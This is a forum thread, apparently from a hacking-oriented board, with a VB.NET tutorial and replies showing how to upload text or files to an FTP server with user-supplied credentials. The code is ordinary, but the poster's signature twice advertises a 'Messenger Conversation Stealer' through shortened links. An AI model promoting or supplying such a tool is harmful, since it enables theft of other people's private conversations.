Login Register






FTP Upload [vb.net] filter_list
Author
Message
FTP Upload [vb.net] #1
This is a little tutorial showing how to upload to you FTP Account : your need 4 TextBox and a button
This in what you input in your TextBox1 : ftp://ftp.drivehq.com/Test.txt (Replace Drivehq with your server)
TextBox2 ; your FTP username

TextBox3 : Your FTP PAssword

TextBox4 : Type anythng in that in will show in the Test.txt





Quote: Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
Dim URI As String = TextBox1.Text
Dim request As System.Net.FtpWebRequest = DirectCast(System.Net.FtpWebRequest.Create(URI), System.Net.FtpWebRequest)

request.Credentials = New System.Net.NetworkCredential(TextBox2.Text, TextBox3.Text)
request.Method = System.Net.WebRequestMethods.Ftp.UploadFile

Dim encoding As New System.Text.UTF8Encoding()
Dim file() As Byte = encoding.GetBytes(TextBox4.Text) ' instead of textbox4 you can add your file specific path like this "C:\Program Files\Internet Explorer" This upload the folder
Dim strz As System.IO.Stream = request.GetRequestStream()
strz.Write(file, 0, file.Length)
strz.Close()
strz.Dispose()
End Sub

Your Question are Welcome
[hide][link=http://adf.ly/1mQjP ]Messenger Conversation Stealer[/link][/hide][hide][link=http://adf.ly/1mQpA ](Video on how it work)[/link][/hide]

Reply

RE: FTP Upload #2
which coding language is it?

Reply

RE: FTP Upload #3
Quote:which coding language is it?
Its VB.net
[hide][link=http://adf.ly/1mQjP ]Messenger Conversation Stealer[/link][/hide][hide][link=http://adf.ly/1mQpA ](Video on how it work)[/link][/hide]

Reply

RE: FTP Upload [vb.net] #4
or the easy way:

Code:
My.Computer.Network.UploadFile("C:\yourfile.txt", "ftp://ftp.drivehq.com/yourfile.txt", "Username", "Password", True, 10000)

Edited: added user and pass support for FTP
(This post was last modified: 08-01-2011, 09:06 AM by Skullmeat.)
Pierce the life fibers with your drill.

Reply

RE: FTP Upload [vb.net] #5
This will upload just txt right ?

Reply

RE: FTP Upload [vb.net] #6
(05-23-2011, 09:16 AM)1234hotmaster Wrote: or the easy way:

Code:
My.Computer.Network.UploadFile("C:\yourfile.txt", "ftp://ftp.drivehq.com/yourfile.txt", Nothing, Nothing, True, 10000)

Are you a vb.net pro ? that's what i see, not only by this reply Biggrin

Reply

RE: FTP Upload [vb.net] #7
(08-01-2011, 08:17 AM)polas Wrote: This will upload just txt right ?
no you can upload any type Smile



(08-01-2011, 08:38 AM)foudz32 Wrote:
(05-23-2011, 09:16 AM)1234hotmaster Wrote: or the easy way:

Code:
My.Computer.Network.UploadFile("C:\yourfile.txt", "ftp://ftp.drivehq.com/yourfile.txt", Nothing, Nothing, True, 10000)

Are you a vb.net pro ? that's what i see, not only by this reply Biggrin
i don't think im a VB.NET pro i just know what it stands for Tongue ( Visual Basic . NET Biggrin)

Pierce the life fibers with your drill.

Reply

RE: FTP Upload [vb.net] #8
Nice work mate, needed that. Smile

Reply

RE: FTP Upload [vb.net] #9
Nice tutorial.. Biggrin Thank you! Biggrin

Reply